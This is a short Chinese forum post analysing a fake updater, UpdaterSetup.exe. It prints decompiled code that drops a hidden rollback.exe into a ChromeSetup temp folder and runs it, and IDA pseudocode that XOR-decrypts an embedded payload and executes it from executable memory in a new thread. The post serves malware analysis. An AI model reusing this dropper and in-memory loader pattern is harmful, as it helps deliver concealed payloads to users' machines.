本帖最后由 DisaPDB 于 2026-7-30 18:24 编辑
UpdaterSetup.exe本体为.NET程序,在函数Form1处发现:- public void ReleaseFileToTemp()
- {
- string text = Path.Combine(Path.GetTempPath(), "ChromeSetup");
- Directory.CreateDirectory(text);
- new ValueTuple<byte[], string>(Resources.rollback, "rollback.exe")
- %TEMP%\ChromeSetup\rollback.exe
- File.WriteAllBytes(text2, item);
- ProcessStartInfo processStartInfo = new ProcessStartInfo
- {
- FileName = text + "\\rollback.exe",
- WorkingDirectory = text,
- UseShellExecute = true,
- CreateNoWindow = true
- };
- Process.Start(processStartInfo);
- }
复制代码 释放的rollback.exe在%TEMP%/ChromeSetup文件夹下,为cpp编写:
拖入IDA,在sub_1400016E0处发现:
- __int64 sub_1400016E0()
- {
- _BYTE *v0; // rax
- _QWORD *v1; // rax
- void *v2; // rbx
- HANDLE CurrentProcess; // rax
- HANDLE Thread; // rcx
- DWORD flOldProtect[11]; // [rsp+3Ch] [rbp-2Ch] BYREF
- LODWORD(qword_140004020[0]) ^= 0xADADADAD;
- v0 = &algn_14000458C[-1384];
- do
- {
- *(_DWORD *)v0 ^= 0xADADADAD;
- *((_DWORD *)v0 + 1) ^= 0xADADADAD;
- v0 += 8;
- }
- while ( v0 != algn_14000458C );
- v1 = VirtualAlloc(nullptr, 0x56Cu, 0x3000u, 4u);
- v2 = v1;
- if ( !v1 )
- goto LABEL_6;
- *v1 = qword_140004020[0];
- *(_QWORD *)((char *)v1 + 1380) = qword_140004584;
- qmemcpy(
- (void *)((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8uLL),
- (const void *)((char *)qword_140004020 - ((char *)v1 - ((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8uLL))),
- 8LL * (((unsigned int)v1 - (((_DWORD)v1 + 8) & 0xFFFFFFF8) + 1388) >> 3));
- memset(qword_140004020, 0, 0x568u);
- HIDWORD(qword_140004584) = 0;
- VirtualProtect(v1, 0x56Cu, 0x20u, flOldProtect);
- CurrentProcess = GetCurrentProcess();
- FlushInstructionCache(CurrentProcess, v2, 0x56Cu);
- Thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)v2, nullptr, 0, nullptr);
- if ( !Thread )
- LABEL_6:
- ExitProcess(1u);
- WaitForSingleObject(Thread, 0xFFFFFFFF);
- return 0;
- }
复制代码 解密嵌入在 .rdata 段中的加密 payload(XOR 密钥 0xADADADAD)复制到可执行内存 VirtualAlloc 分配新内存,创建线程直接执行。将内存权限设为可执行,用 CreateThread 运行。
|